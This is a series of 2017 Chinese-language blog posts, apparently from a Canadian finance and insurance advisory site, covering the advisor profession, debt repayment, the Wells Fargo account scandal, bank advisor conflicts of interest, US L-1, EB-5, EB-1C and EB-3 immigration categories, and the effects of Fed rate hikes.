        在我们这一行,我们有幸能处在一个特殊的身份来影响别人的人生。我们能协助减轻财务压力,困难时给予安慰,且帮助客户来规划未来。我投入这一行,因为我亲眼见过一位财务顾问在我父亲早逝时给我母亲的那一份安心。我当时只是一个青少年,受这事的影响,那个时候我就决定这个事业就是我这一生想做的,因为是多么有影响力。

        这些事又有什么关联呢?因为依我所见,这个行业的精髓根本完全都没有改变。我们每天来上班依然是来帮助别人。“信任”依然是于客户关系的基石,而且也是客户选择跟我们往来的最主要原因。虽然面对面的沟通频率因科技 的进步而少了一些,但若要建立起稳定的客户关系,面对面的往来是绝不能少。我们依然要开发用得到我们的服务的新客户,让他们知道跟我们往来有价值,我们能够帮到他们。看到成功案例,更加肯定了我们所做的是很重要的事业。

        媒体报导时,常常爱报导我们同业里,一些害群之马的故事。它们却不会去报导一个孩子上了大学,是 因为一个理财顾问在多年前帮他父母做了一份规划。它们不会去报导一个客户因为成功的投资策略而剩下很多的税,或因理财顾问评 估客户的风险承担能力所做的投资,成功地避免了一次大额亏损。它们也不会报导一个丧偶的遗孀,能轻松地依照她自己的期望来分 配遗产,是因为一位理财顾问之前花了很多时间来帮忙规划遗嘱。这类故事才是是我们这一行业的写照,这些并没有改变。

        对我们这个行业最新的冲击,被认为会造成毁灭性的改变,叫做‘自动化顾问’。“自动化顾问”所管 理你的钱的方法是根据投资组合模型,提供例如自动化平衡调整组合,或投资损失避税等策略的服务。有些人说这会对我们这些投资 顾问,会是个威胁,但我不同意这个看法。这个趋势的确会被接受,而且最后会成功。但是,它可做不到登门拜访,或当市场诡谲的 时候打个电话给客户,客户知道有人真心的在关心你个人以及你的利益的那份安全感。打一个最好的比喻,你看科技能做出最好的报 税软件吧,但是你看它取代了会计师没?当然没有。但是它的确让那些有时间和兴趣,爱自己报税的人更简易方式的来报税。同理可 证,自动化顾问并不会取代优秀的理财顾问,因为它们在财富管理咨询方面,只能服务一些不同需求的客户,

        我是乐观派,而我每天早上都开心的来上班。我告诉人家我的工作是世界上最重要的职业,因为我们能为别人的生命里造福。我们这行的同仁们,得继续把重心放在我们职业里真正重要的那部分,并能引以为傲,那就是:帮助人群。CRM2是一个机会让我们去提醒客户我们的做的有多棒,同时也是我们行业里那些害群之马一个照妖镜,这对 大家都好。自动化顾问会让理财顾问们更得不断提升其附加价值,提供优质的服务。

        我们能掌握我们自己来如何帮助别人,经营好客户关系,处理多变的市场,最终我们对事情的态度。这 些都没改变,把心思放在您能掌握的,能让你成为一个更好的理财顾问喔。

        原文:Mike Ankers, Director, National Sales, Richardson GM

        翻译:庄博雄, 保险理财顾问以及瑞光人寿创办人info@radiantlifeinsurance.ca

        2017-04-20 / by / in ,
        快快还清债务 掌握这些原则就对了

        在北美生活,如果同时需要负担大学学贷信用卡债务和购车等贷款可不是一件轻松的事。如何才能最快实现“无债一身轻”呢?美国《时代》周刊的财经作家日前分享了一些原则和技巧。


        一、集中还清利率最高的债务

        最重要的原则是,还款不应是随意性的,需要制订周密的攻略:先选择一种债务集中偿还,其它的则只支付所要求的最小数额。如果能集中还清利率最高的负债,长远来看会省得最多。由于信用卡的平均利率高达18%,还清卡债应定为首要任务。

        1. 利用利率差做余额转结

        关于信用卡还款,信用卡专家、金融教育网站SmartCredit总裁约翰‧奥兹海默(John Ulzheimer)推荐一种应急之法:申办一张在优惠期(introductory period)内利率(intro rate)为0%、不收余额转账费(balance-transfer fee)的新卡,把旧卡的债务转过去。

        举例说,把旧卡的部分债务转到新卡上。如果旧卡的利率是18%,而新卡在申办后12个月内的优惠利率为0%,且无转账费,则这笔转账债务就省下了一年的利息。

        需要注意的是优惠期后的年利率(APR)。奥兹海默也提醒:“转移余额前必须明确目的,是要在债务泥潭里多挣扎12个月,还是利用这12个月的时间竭力清欠债务。”实际上,在背负大额债务时领取新卡,优惠期结束后获得更低年利率的可能性不大。

        申请人最好在办卡前登录开卡银行网站,仔细阅读相关条款和协议,了解其对消费(purchase)、余额转结(balance transfers)及现金垫款(cash advances)的年利率(APR)如何规定。要确保新卡的限额足够高,有些卡声称无上限,实际还是有限额。

        同时,增加信用卡,会降低持卡人的信用评分。奥兹海默建议,一旦申办了新卡,每月要准时偿清卡债,并在其优惠期结束前把卡上债务全部还清。

        2. 先还清数额最小的卡债

        如果你还是感到不知所措,金融网站Nerd­ Wallet专家肖恩‧麦克维(Sean McQuay)建议你先把数额最小的一笔卡债还清,“那样你就会感到小有成果”。美国西北大学凯洛格管理学院研究发现,能先还清一笔小额卡债的人,按时还清全部卡债的成功率更高。

        二、看清目标 掌握节奏

        在各种债务计算器中,纽约市财务规划师马丁‧普尔(Martin Poole)推荐一款线上工具PowerPay.org,可以观察到个人积蓄与债务金额的动态变化。这款英文工具可帮举债者进行全方位的财务规划,让用户对日常花销、多久能还清贷款等获得具体的概念。

        三、“大棒”督促自己履行合约

        最后,无论采取哪种方法,都可以利用网络工具StickK.com来督促自己实现目标。由耶鲁大学经济学家与法律学家合作开发的这个网站,让用户和自己签下“合约”,如果届时达不成目标,就要按合约将押金缴作罚款,这笔款会自动寄给慈善机构。据统计,签了约并交了抵押金的用户中,有72%都达成了自己设定的目标,而没有交押金的人只有29%达成愿望。@*

        2017-04-20 / by / in
        美国本科大学面试技巧

        申请美国大学,要先通过面试,很多华裔学生担心面试官会出难题,找到专业且有实务经验的入学咨询辅导顾问会增加学生被录取的机会,纽约Kuorageous入学申请咨询公司创始人郭睦怡博士建议学生面试时诚实回答,有自信但不自大。


        善用社交媒体

        面试官可能是校友或招生官,郭睦怡建议学生要事先上网搜索面试官的背景,了解其兴趣和爱好,在面试时抓住表达的机会,从背景与兴趣来打动面试官。面试官也可能上网搜索学生背景,如果Facebook, Twitter, 或Instagram等社交媒体上有不专业或不成熟的资讯,可能会影响面试结果。郭睦怡博士提供专业咨询,帮助学生判断并清理社交媒体的资讯。

        面试之前,搜索面试官的职业背景,了解其兴趣爱好是明智的一步。(Justin Sullivan/Getty Images)
        面试之前,搜索面试官的职业背景,了解其兴趣爱好是明智的一步。(Justin Sullivan/Getty Images)

        掌握面试最新趋势

        美国大学本科院校与医学院的面试标准不断更新,例如,多数美国医学院除了传统面试,已开始采用多样迷你面试(Multiple Mini Interviews),并重视学生的个人品德。学生该如何掌握最新面试标准?郭睦怡特有的“模拟面试”训练,已经帮助了数百名学生增加通过面试、顺利被录取的机会。

        运用肢体语言 展现自信

        一项研究发现,应征工作时肢体动作传递正面讯息的人比较容易获聘。在大学面试时,任何细节,任何肢体动作,都可能影响面试官的印象,加上华裔学生通常比较安静,但并非每个面试官都欣赏这个特质,因此适度运用肢体语言是很重要的。郭睦怡会依学生特质,将可能被解读为负面的动作转为正面且自信的讯息,增加录取机会。

        面试的肢体语言非常重要(photos.com)
        面试的肢体语言非常重要。(photos.com)

        郭睦怡强调,面试官常问的问题之一是学生对于未来生活的规划。多数学生表示想做医生、律师或科研工作,如能具体说明自己投入的精力与详尽规划,会让面试官刮目相看。还没确定职业兴趣的学生,也要让面试官知道自己对什么有兴趣,愿意去努力。

        申请大学除了考试成绩,还需要注意许多细节,透过专业且有实务经验的咨询顾问协助可以增加被录取的机会,纽约Kuorageous入学咨询公司创始人郭睦怡博士专业提供美国大学本科、医学院及研究所学生入学申请咨询,20年来把数百名学生成功送进录取率极低的常春藤大学和研究所,如康奈尔大学、哥伦比亚大学、耶鲁大学医学院、纽约大学医学院等顶尖学府。

        2017-04-20 / by / in , ,
        富国银行私开账户 专家告知消费者自保之道

        富国银行(Wells Fargo)爆发员工私自为客户办理逾200万账户和信用卡,遭罚1.85亿美元,并且要偿付客户损失,总计500万美元。专家建议,不仅富国银行客户,所有消费者都应采取自保措施,以避免未来成为类似丑闻的受害者。


        富国银行员工在业绩压力下,自2011年开始偷偷以客户名义开办账户及信用卡,将客户现有账户内的资金,转入新的账户,导致客户原有账户存款不足或透支,而被银行收取费用。另外,私自为客户申请的信用卡,让客户支付年费、利息和其它费用。

        富国银行客户注意自身权益

        《市场观察》(Market Watch)9日报导,根据美国联邦消费者金融保护局(Consumer Financial Protection Bureau, CFPB)和富国银行达成的协议,富国银行应主动联络受影响的客户并退款。

        富国银行发言人表示,此前已委托第三方咨询公司,检视2011年以来所有客户(包括消费者和小型企业)的账户与信用卡,并在今年第一季开始退款给受影响的客户,总计退款金额已达260万美元,平均每名客户获得25美元。

        不过,当时收到退款的客户,可能并不清楚发生了什么事。为了自保,富国银行客户务必到网上查看名下的账户及信用卡,以确定是否有来路不明者,如果有任何问题或者不会使用网络,可打电话询问或亲自到分行询问。

        富国银行发言人表示,客户要取消账户很简单,可以透过网络或电话或亲自到分行办理,银行会竭尽所能地为客户服务。

        如果富国银行客户没有得到退款,可以向CFPB投诉。

        务必检查信用报告

        针对富国银行员工私自办理的信用卡或其它信用产品,受影响的客户,除了平白支付一些费用外,比较麻烦的是其信用评分可能受到影响。对此,富国银行表示将代表客户协助解决这个问题。

        个人理财网站Bankrate金融分析师格麦克布赖德(Greg McBride)表示,如果富国银行员工私办的信用卡,从未被激活,不会影响该客户的信用评分。另外,消费者由于不知道冒名信用卡的存在,因此也不会使用它。

        信用卡比较网站CreditCards资深分析师舒尔茨(Matt Schulz)建议富国银行客户应检查自己的信用报告,即便要付费也要做。

        他说:“有任何怀疑时就值得去做,即便最近已检查过信用报告,也要不厌其烦再做一次,因为从检查报告中所得到的益处会超越任何可能的应付费用。另外,虽然富国银行说会检查受影响客户的信用评分,消费者还是要自我检查,因为没有人会比自己更关心自己的信用评分。”

        消费者自保之道

        根据协议,富国银行未来必须在开通任何存款账户或提交信用卡申请案时,都要在一个小时内发送电子邮件或应用程序给客户确认。

        麦克布赖德表示,对所有消费者来说,富国银行丑闻是一个警惕,未来要养成应定期检查银行账户,以确定没有来路不明的账户。

        他说:“现代人都很忙,也许不那么关注银行账户,忙着事业,照顾家庭等诸如此类的事情,但是定期查看账户是很好的习惯,不仅可以了解自己的财务状况,也可确保账户内资金的交易情形,有助于防止身份盗窃和确保没有任何未经授权的账户。”

        舒尔茨建议消费者定期检查自己的信用报告。

        2017-04-20 / by / in , , ,
        银行理财顾问 真的在帮你挣钱吗?

        前不久,媒体曝光国内不顾客户利益、向客户推销昂贵收费产品后,近日,又有满银员工曝光更多内幕,并称这一切是监管不足导致。


        CBC公众曝光节目收到数百名金融从业人员(多为大银行员工)爆料,他们都有被迫向客户推销能保住饭碗或收费昂贵的产品和投资,导致这一现象的主要原因是国内尚无明确法规要求理财顾问一切以客户最大利益出发。

        银行利益永远第一

        一位前满银理财顾问经理说,95%的情况下她都是向客户推销他们根本不需要的产品,长此下去,她实在看不下去,前不久辞职。曾有一次,在经理不断敦促要求提高销售业绩压力下,她哄骗一位身体虚弱的85岁高龄客户购买了银行内部一个共同基金产品,回家后良心难安,不断自责:如果这位老人是自己的爷爷,肯定不会这么做的。

        2015年辞职的一位丰银员工说,他永远将银行利益放在首位,客户利益放在最后,如被上司要求向客户推销符合银行最大利益的预批房贷利息,被上司强迫向已经卡债累累的客户推销信用卡,所有这些让他感到很难受。

        对于前员工这番爆料,满银和丰银要么拒绝评论,要么不正面回答。

        呼吁加强监管

        加拿大的投资理财顾问(investment  advisors),实际上就是销售员,只有adviser才是真正代表客户利益的法定顾问。加拿大投资人权益保护联盟(FAIRC)呼吁,政府应加强金融业监管,制定法定最高利益标准,要求所有理财顾问以客户最大利益优先。

        FAIRC执行主管帕斯库托(Ermanno Pascutto)说,目前业内采用的是适用标准,并非最高标准。比如说,中度风险的投资产品可能适于客户,但收费高,这种情况下,理财顾问是不会也无需一切以客户利益优先提供服务,目前各大银行、保险公司和其它金融机构,都是这么做的。

        共同基金是银行摇钱树

        许多人都不知道,共同基金收费有保证,是银行最大摇钱树。目前加人投资共同基金总计数万亿计,帕斯库托说,如果这些共同基金收费费率从2.5%降至1.5%,意味着加人每年可节省近100亿,但这些钱都进了金融机构荷包。

        满银、帝银、皇银、丰银和道银是共同基金最大销售银行。在被问到是否支持客户利益第一立法时,作为这些银行代表机构的 加拿大银行家协会(CBA)回复说,目前投资者保护立法已经很健全。

        加拿大只说不做

        澳洲和英国已经实行客户利益优先标准,欧盟客户利益优先标准明年1月前也会正式推出。过去10多年来,加拿大一直在考虑将现有以销售业绩为标准的金融服务,变成以客户利益为上的服务,但一直未见实际行动。

        2004年,安省证监会(OSC)曾发表咨询意见书,讨论理财顾问是否应被立法要求,一切以客户利益优先。自2012年起,加拿大证券管理委员会(CSA)就最高利益标准作了2场全国会员咨询会,举办了1次圆桌会议。

        但截至目前,没有哪个省的证监会采取客户最高利益标准,仅安省证监会和安省财长苏善民表示强烈支持。魁省、亚省和卑诗省证监会甚至说,现有监管已经能很好保护消费者利益,没必要搞什么最高利益标准。投资受害人代理律师格勒(Harold Geller)倒是很有信心,认为未来2年内安省证监会和其它省的证监会都有可能采取这一标准。

        反对和障碍

        帕斯库托说,国内金融监管系统相当低效,全国共有13个证监会,都得达成一致意见才行,而且金融业内有个强大的游说团体。目前国内几大金融机构从事金融产品销售的从业人员就有10万多,不利他们收入的任何改革,他们都会强烈反对。

        但也有消费者维权人士不支持最高利益标准。被理财经纪坑骗赔光一生辛苦积蓄的中小投资者保护协会(SIPA)会长布尔(Stan Buell)说,现有标准定义还没完全形成,一旦推出,就会有解释空间,理财服务欺骗仍会没完没了。另外一个令人担心问题是,现有规定允许被理财顾问坑骗的受害人,在发现问题后2年时间内控诉,2年期限太短了。

        2017-04-20 / by / in , ,
        L-1签证简介

        L-1签证简介

        L-1签证是非移民工作签证,它适用于在美国和中国都有商业机构的跨国公司从中国分公司派遣高级经理、行政主管、或拥有特殊知识的专业技术人员去美国分公司工作。在L1签证申请过程中,跨国公司是L1签证的申请人,外籍高级行政管理人员或专业技术人员是L-1签证的受益人。L1签证的受益人在提交L1签证申请之前的三年内,必须在其作为申请人的跨国公司的海外机构(非美国境内机构)连续工作一年以上。该跨国公司在海外的机构必须和在美国的机构属于母子公司,分公司或者附属公司的关系,并且有实际的资金和业务的来往。L1跨国公司还可以包括非营利性的,宗教的,或慈善机构。


        同时,L1签证也适用于那些正在筹划在美国设立公司或者办公室,而需要将高级管理人员和专业技术人才派到美国境内来进行筹备的跨国公司。但是请注意,对于新成立的美国公司,L1签证的首次有效期为一年时间。到期后申请人必须提出延期的申请。L-1签证也适合于小企业到美国创业拓展业务和服务,抽调精通业务的经理或具备业务实战经验的高管,按照公司总部设立的目标和宗旨来设立新的分公司。然而,美国移民局对不知名的中小企业,及新筹建的公司的L1申请审查很严格,在准备L1签证申请时,我们建议您向经验丰富的移民律师进行咨询。

        根据受益人的身份不同,美国移民局将L-1签证分为L-1A和L-1B两类,但在签发签证时都是L1签证。一般情况,对于新成立的美国公司,首次L-1签证申请的有效期是1年,对于有一年以上历史的美国公司,首次L1签证申请的有效期可以达3年,到期后都可以提出延期申请,L1延期的有效期也可以达3年。高级经理和行政主管的L1A签证,最长不得超过7年。专业人才的L1B签证,最长不得超过5年。当L-1身份的最长效期到期以后,L1签证的持有者必须离开美国至少一年之后,方可以重新申请新的L签证。

        2017-04-19 / by / in
        EB-5与EB-1C移民签证比较

        人们通常喜欢把EB-1C跨国公司经理移民和EB-5企业家移民都称作“投资移民”。在某些方面,EB-1C和EB-5的确非常相似,比如两者都涉及到外国资本的投资;两者都涉及到在美国设立新的企业,尽管对于EB-5而言可以接管和投资已经存在的企业,EB-1C同样可以通过申请人的公司来收购一个美国公司来实现;并且两者都有可能给美国工人创造就业的机会。但实际上,EB-1C和EB-5是截然不同的两个移民签证种类,不恰当的进行申请可能会导致严重的后果。


        EB-1C签证允许跨国公司将美国境外的公司机构中的经理级人员和高级管理人员调派到美国的公司机构中永久性的高级管理职位上。而EB-5是针对的是那些已经在美国投资或正在投资阶段外国投资者。就设立签证的目的而言,EB-1C是为了让跨国企业提高各机构之间的交流以促进商业运作,而EB-5是为了吸引海外投资来增加美国的就业机会。就投资资金的要求而言,EB-1C的受益人,即跨国公司中的高级经理和管理人员由于为其公司工作,因而没有投资金额的要求,而EB-5的投资人要投入自己的资金并且有数额上的要求。

        具体而言,我们可以把EB-1C和EB-5的区别分为以下几个方面来看,这样申请人可以结合自身状况有一个初步的意向。

          • 企业结构

        EB-1C首先要求一个合格的具有美国机构和海外机构的跨国企业。合乎条件企业应该是另一个企业投资设立的,比如母公司和子公司或者附属公司。另外,EB-1C申请的受益人是将被调派美国相关机构工作的高级经理和管理人员而申请者是跨国公司的美国机构。该跨国公司的美国机构必须存在一年以上以成为合格的EB-1C申请人。举例来说,中国大陆A公司于2010年9月1日在美国设立了相应的分支公司A-USA,那么在2011年9月1日起,A-USA可以替A公司的经理级高管申请EB-1C,当然前提是这位受益人必须在提交申请前三年内至少被A公司或者A-USA公司雇佣了一年以上并且为经理级高管职位。在EB-1C申请提交以后,受益人可以在获得批准之前申请临时的 L-1A签证。简单的说,要符合EB-1C,受益人所属的公司必须至少包含两个机构。其中一个在美国境内,另一个在美国境外。

        EB-5要求申请人在美国投资设立一个新企业,或者收购一个困难企业或者投资到地区中心中。申请人不需要在美国境外的公司机构就职。同时,申请人在美国的投资有很多形式可供选择。对于EB-5而言,投资者本身既是申请人又是受益人。

          • 资金来源和金额要求

        在EB-1C申请的审理中,美国移民局通常只关注海外公司和美国境内公司之间最初的投资和资金流动。但是,移民局并未对这个投资的数额做出任何硬性的要求。如果美国的子公司才被设立不久,移民局常常会要求申请人提供海外母公司对美国境内子公司的资金流动的相关证明。当然,虽然移民局对投资金额没有做出要求,但是投资金额应该合理,即足以支撑美国机构的运作。在实际操作中,我们见过一些公司的最初投资只有大概10万美元,而这些EB-1C申请在美国机构开始运作之后便获得了移民局的批准。

        在这方面,EB-5因其目的是吸引海外投资用以增加美国工人(即美国公民,永久合法居民和庇护者)的就业机会,所以对资金的要求更为严格。申请的投资金额至少为50万美元,有的投资模式要求至少100万美元。并且申请人必须提交相关的有效证据证明资金的合法来源。

        在EB-5申请中,通过非法手段比如犯罪直接或者间接获得的资产不能被用作EB-5的投资。在实际操作中,移民局会非常严格的审查投资者的资金来源。当然,各种资产的类型,比如现金,设备,物资以及其他的有形资产和现金等价物,有财产担保的债务等等都可以作为EB-5的投资来源。而EB-1C对于投资资金来源没有合法性的要求。

          • 移民局审查重点

        在EB-1C中,移民局会重点审查跨国公司的结构和作为申请人的美国机构的运营。EB-1C申请成功的关键在于作为申请人的美国机构可以证明在其组织结构中设立了一个能让受益人工作的高级管理或行政职位,而非日常运行或者一线工人监督的职位。因此,通常来说,5至7名全职雇员可以满足这个条件。并且,美国机构必须实际运作并产生相应的收入。

        在EB-5申请中,移民局会着重审查投资资金是否真实转移和10个对美国工人的就业岗位的创立以及投资资金的合法来源。如果申请人投资到美国政府批准的地区中心,间接增加的工作机会也可以被算在内。

          • 移民者的职位

        在EB-1C中,提供给受益人的职位一直必须具有管理或行政的职责,并这个职位的层级必须达到有作出商业决策,公司决定以及管理其他的下级管理机构的高度。比如,分公司或子公司的经理级管理人员或者是董事会成员等等。移民局在审查时将会把这些职权连同美国公司结构一起考虑。

        EB-5并不要求申请人有相关的工作邀约或者提供赞助的雇主。如果申请人选择创立新企业和投资困难企业的投资模式,申请人必须对投资的企业进行日常的管理,合格的职位可以是高级管理职务包括公司经理,董事会成员等。也可以是一般管理职务,比如分厂厂长,领班等等。如果申请人选择的是地区中心投资模式,那么申请人既不需要对企业进行日常管理,也不需要居住在投资的区域。

          • 申请人资格

        在EB-1C申请中,受益人必须要在提交申请之前的3年内至少被该公司的海外公司或美国境内分公司雇佣并且担任经理级别的高管人员达连续的1年。虽然对于受益人的教育背景没有特别要求,但受益人必须拥有合理的资质去履行他的管理职权。

        EB-5申请对于申请人没有任何教育背景,工作经验,投资经验以及其他技术技能的要求。

          • 相关表格中的申请人

        EB-1C是雇主,即美国公司担保的申请,即符合条件的跨国公司的美国机构是申请人,而将被调派的雇员是受益人。该美国机构需提交I-140表格为受益人进行EB-1C职业移民申请。

        EB-5中,投资人既是申请人又是受益人,不需要有其他的担保雇主,投资人需要自行提交I-526表格。

          • 证明材料和文件

        在EB-1C申请中,雇主需要连同I-140表格一起提交关于提供的管理职位的职责综述。雇主同时还需要提供能够证明作为申请人的美国机构与跨国公司的其他机构之间的关系的证据。这些证据包括跨国公司的美国机构以及海外机构的公司章程,财物文件比如报税表,银行存款证明,主要的商业合同,发票样本,销售文件,办公室租约,主要办公室照片以及公司组织结构描述等。

        受益人同时需要提交证据证明他具备能够胜任该职位的能力。

        在EB-5申请中,申请人连同I-526表格应该同时提交相关证据证明投资会确实进行以及投资资金具有合法的来源。用以证明资金合法来源的材料包括不动产以及其他财产的转让合同,银行存款证明,持股证明,财产购入证明,报税单,企业运作记录以及其他关于收入来源的证明。另外,投资者必须提供相关证据证明投资的新企业确实存在。相关证据包括新企业的组织结构描述,公司章程以及其他美国的商业许可证明。

        并且,EB-5的申请人需要提交证据证明至少为美国工人提供了10个全职的就业岗位。如果新公司已经雇佣了美国工人,申请人可以提交I-9表格和纳税证明。如果新公司尚未雇佣任何美国工人,申请人可以提交详细的商业计划说明两年内至少会雇佣10名全职美国工人。对于投资地区中心项目的申请人可以通过提交数据分析和专家证据证明其间接创造了至少10个工作机会。

          • 永久绿卡与临时绿卡

        一旦EB-1C获得批准,受益人与其直接亲属如果在美国境内便可以申请身份调整,如果在美国境外可以同过领事馆程序申请签证。当他们获得签证进入美国或者身份调整获得批准之时,他们将收到没有条件限制的永久绿卡。

        但是在EB-5申请中则必须经历一个临时绿卡的阶段。一旦EB-5申请获得批准,申请人可以申请身份调整,与EB-1C不同的是,申请人获得的为期为2年的临时绿卡。临时绿卡在2年有效期内具有与永久绿卡完全一致的权利。

        为了去除两年限制的条件,申请人和他的直接亲属需要在临时绿卡过期前的90天内提交除去条件申请,申请人需要连同I-829表格一并提交相关证据证明其符合EB-5投资移民关于成立企业和雇佣美国工人的全部要求。

        EB-5申请人的身份在I-829处理阶段仍然有效并而已出境旅行。但申请人如果没有在规定时间内提出去除条件申请,他的临时绿卡身份将会过期终止。如果I-829顺利通过审理,申请人和其直接家属便可以获得永久绿卡。

          • 时间差异

        从程序上来看,EB-5投资移民可能会相对历时更久并更多不确定因素因为必须经历两年临时绿卡后通过再次审查才能拿到永久绿卡,通常从开始申请到最终成功拿到永久绿卡,顺利的话需要3年半到4年的时间。

        EB-1C由于没有临时绿卡阶段,一般两年左右就能拿到永久绿卡。

          • 对于雇员的要求

        上文提到,EB-1C成功的关键在于能证明跨国公司的美国机构能够为受益人提供相关的高级行政管理职位而非日常管理或者一线工人的监督职位。因此,一般需要雇佣5到7名雇员来满足条件。另外,美国机构必须实际运作并产生收入。

        EB-5成功的关键之一是能够证明至少雇佣了10名全职的美国工人,或者如果申请人投资在地区中心项目中,申请人能够证明至少间接创造了10个就业机会。

        无论EB-1C还是EB-5都涉及到复杂的商业和法律问题,我们建议有意向的公司和个人在申请前向有专业知识和丰富经验的移民律师进行咨询以免出现不必要的意外和挫折。

        总的来说,EB-1C虽然对于申请人的管理能力等等经验背景提出了要求,并且需要申请人的企业作为担保代为申请,但EB-1C几乎没有风险,并且耗时更少。所以,能够符合EB-1C条件的有移民意向的外国公民,EB-1C相对EB-5更值得推荐。

        2017-04-19 / by / in
        EB3的雇主有哪些义务?

         

        EB3的雇主有哪些义务?

        EB-3的雇主需要提供一个真实的永久性工作的承诺;需要支付劳工证过程中所有的费用;需要做广告招聘以确定招不到一个最低限度合格的美国工人;需要在申请人获得绿卡正式开始工作后支付申请人在劳工证上规定的普遍流行工资(Prevailing Wage) 。

        EB3对雇主公司的规模有没有要求?

        EB-3对雇主公司的规模没有硬性要求,但是工作岗位的设置要和公司业务规模性质相匹配。

        EB3对申请职位有什么要求?什么职位可以用来申请EB3?

        EB3又分为两小类: 一类要求学士学位或至少两年的技能经验。 另外一类, 不要求任何经验技能。

        世界上大多数的工种职位都可以用来申请EB3。常见的EB3职位包括:工程师,制造业工人,技术工人,超市工人,修理工,护士, 按摩师, 厨师,调酒师,养殖工人等。

        2017-04-18 / by / in
        美联储加息对你的七大影响 专家提醒及支招

        美联储公开市场委员会(FOMC)周二(3月14日)召开今年第二次会议。由于美国2月份新增23.5万个工作机会,经济表现强劲,专家预期美联储3月份议息会议决定升息的概率大于九成,远高于2月初预测的25%。


        自2006年以来,美联储FOMC只在2015年及2016年的12月份会议决定升息,各调高联邦基金利率(US Fed Funds Target Rate)一码,目前利率为0.5%到0.75%。此外,去年12月美联储估计2017年将升息3次。

        对于依赖储蓄或有需要借款的美国民众来说,美联储加息可能会带来的影响,以及应该如何调整投资策略,个人理财网站Nerdwallet整理七大注意事项并提供建议。

        1)退休储蓄会受到什么影响?

        美联储加息对退休储蓄的影响,取决于投资人的短期资金计划及投资组合,例如是否投资大型美国公司,外国股票,股息分红,指数投资或特定部门的股票。

        这次升息之前,市场预期与美联储似乎空前一致,因此已提前反映在整体(或至少部分)的股票价格上。这意味着美联储3月15日宣布加息,或不会引发市场剧烈波动。

        另外,拥有长期储蓄者,最好等待间歇性波动以换取更高的潜在回报。大选后股票市场间歇性地往上冲刺到历史新高,就是一个很好的例子。

        NEW YORK, NY - MARCH 10: Traders work on the floor of the New York Stock Exchange (NYSE), March 10, 2017 in New York City. According to the Bureau of Labor Statistics, the U.S. economy added 235,000 jobs in February and the jobless rate is now at 4.7 percent. (Photo by Drew Angerer/Getty Images)
        美国纽约股市交易所。(Drew Angerer/Getty Images)

        2)应否调整投资策略

        根据NerdWallet去年年底所做的调查,17%受访者表示,波动的股市是让人最感焦虑的投资。专家的建议是:深呼吸,不要骤然地采取行动,集中精力在熟悉的股票。

        *建议投资人重新审视原有的投资计划,审视重点包括:

        -加息是否真的会改变投资组合中任何投资项目的长期收益?
        -在短期内,加息可能真的会有所影响,特别是投资组合的重心在股票、“交易所买卖基金”(exchange-traded funds)或共同基金的行业,正在扩张经营(加息将提高它们的借款成本,影响投资效益),或需要依赖借贷才能购房或汽车。

        *检查退休组合中的资产分配:包括多元化资产的均衡投资组合。请注意,不要太勿促地决定改变投资组合,因为有可能只是短暂的下滑。

        *最佳利用3至10年可支配的资金:不要忘记将短期储蓄视为整体投资组合的一部分。对于短期内需要用来支付可预见支出(如房屋头期款)的储蓄,不要将之投资在波动大的股票市场,可选择更稳定的投资。

        *利用市场波动下滑时机进场投资:这个策略或许比较有风险,但相对的会得到不错的回报。不过,记住进场时不需要投入所有资金。

        3)加息对储蓄账户的影响

        美联储加息可能会推升储蓄账户利率,但不会在一夜之间调高,而且也不会显著地增加。各家银行在设定储蓄账户利率时,会考虑很多因素,主要是观察其它银行的动作,美联储加息不会对这些决策产生很大的作用。

        所以,不要抱持太大的期望。美联储去年12月宣布升息后,许多银行的反应是:提高贷款利率,但维持存款利率不变。

        4)定期存款(certificate of deposit)呢?

        如同储蓄账户利率,定期存款利率或许会因美联储加息而升高,但速度及幅度都不会太大。另外,大多数标准CD都是固定利率,因此即使银行提高存款利率,也不会改变CD的固定利率。

        不过,有些银行提供“加息定存”(bump-up CDs),存户可以要求提高利率。在大多数情况下,存户只能在CD期限内要求加息一次。这类CD的利率,通常比固定利率为低,并且要求更高的存款金额。

        SAN FRANCISCO, CA - JANUARY 18: A sign is displayed on the exterior of a Citibank branch office near the Transamerica Pyramid on January 18, 2011 in San Francisco, California. Citigroup announced its first profitable year since the economic crash with a quarterly profit of $1.3 billion or 4 cents a share compared to a loss of $7.6 billion or 33 cents a share one year ago. (Photo by Justin Sullivan/Getty Images)
        储蓄账户及标准定存的利率不会有太大的变动。(Photo by Justin Sullivan/Getty Images)

        5)信用卡利率是否调高?

        信用卡利率通常会受到美联储加息的影响。美联储去年12月加息0.25%后约一个月,信用卡年利率(APR)平均调高0.75%。虽然信用卡公司调高APR的前45天必须通知消费者,但如果是因美联储加息时则不会通知,信用卡持卡人必须注意账单上的信息,并且开始减少信用卡债务。

        Credit cards are pictured on a computer's keyboard on February 5, 2013 in Rennes, western France. French police has arrested, early this morning in Paris and in several French and overseas departments, 22 people in connection with the trade of credit cards numbers on internet. AFP PHOTO DAMIEN MEYER / AFP / DAMIEN MEYER (Photo credit should read DAMIEN MEYER/AFP/Getty Images)
        信用卡利率通常会受到美联储加息的影响。(DAMIEN MEYER/AFP/Getty Images)

        6)加息将如何影响抵押贷款

        根据NerdWallet抵押贷款利率指数(Mortgage Rate Index),川普(特朗普)总统去年当选后4周,30年固定按揭利率增长0.5%以上。自今年1月份开始到现在,固定按揭利率已增长到4%以上。30万美元的30年固定利率抵押贷款,利率每增加0.5%,每个月将多支付近100美元。

        预期今年美联储加息的次数会增加,抵押贷款利率可能还会再增加0.5%,2017年底可能来到接近5%。再融资也受到打击,利率已攀升到2015年7月以来的最高水平。此外,川普政府减少政府在抵押贷款市场的影响力,可能因此推升抵押贷款利率。

        *如果美国民众现在持有的是固定利率抵押贷款,那么利率不会受到美联储加息的影响。

        *如果不是固定利率,可以预见,明年要支付的贷款利息会增加。建议关注抵押贷款利率的变化,并考虑是否转为固定利率。如果未来几年没有卖房的打算,最好尽早开始考虑其它抵押条件。

        *如果是房屋净值信用贷款(Home Equity Line of Credit),现在是考虑改变的好时机,可以将之转换为固定利率的房屋净值贷款,或者在利率上涨前想办法偿还贷款。

        7)如果正在考虑买房,该怎么办?

        是否要买房取决于各种因素,包括能否负担购屋成本、抵押贷款利率及所在地区的房价。当然,还要配合家庭需求、工作、头期款及其它很多事项。

        A home sits for sale 25 July, 2007 in Batavia, Illinois a suburb outside of Chicago. The US Federal Reserve took emergency action 17 August, 2007 to calm fears of a credit crunch sweeping global markets as it cut its discount rate for commercial banks to bolster economic growth. Mounting home foreclosures, which have forced dozens of mortgage lenders out of business and triggered multibillion dollar losses for large hedge funds that bought mortgage-backed securities, have forced banks to tighten their lending standards.AFP 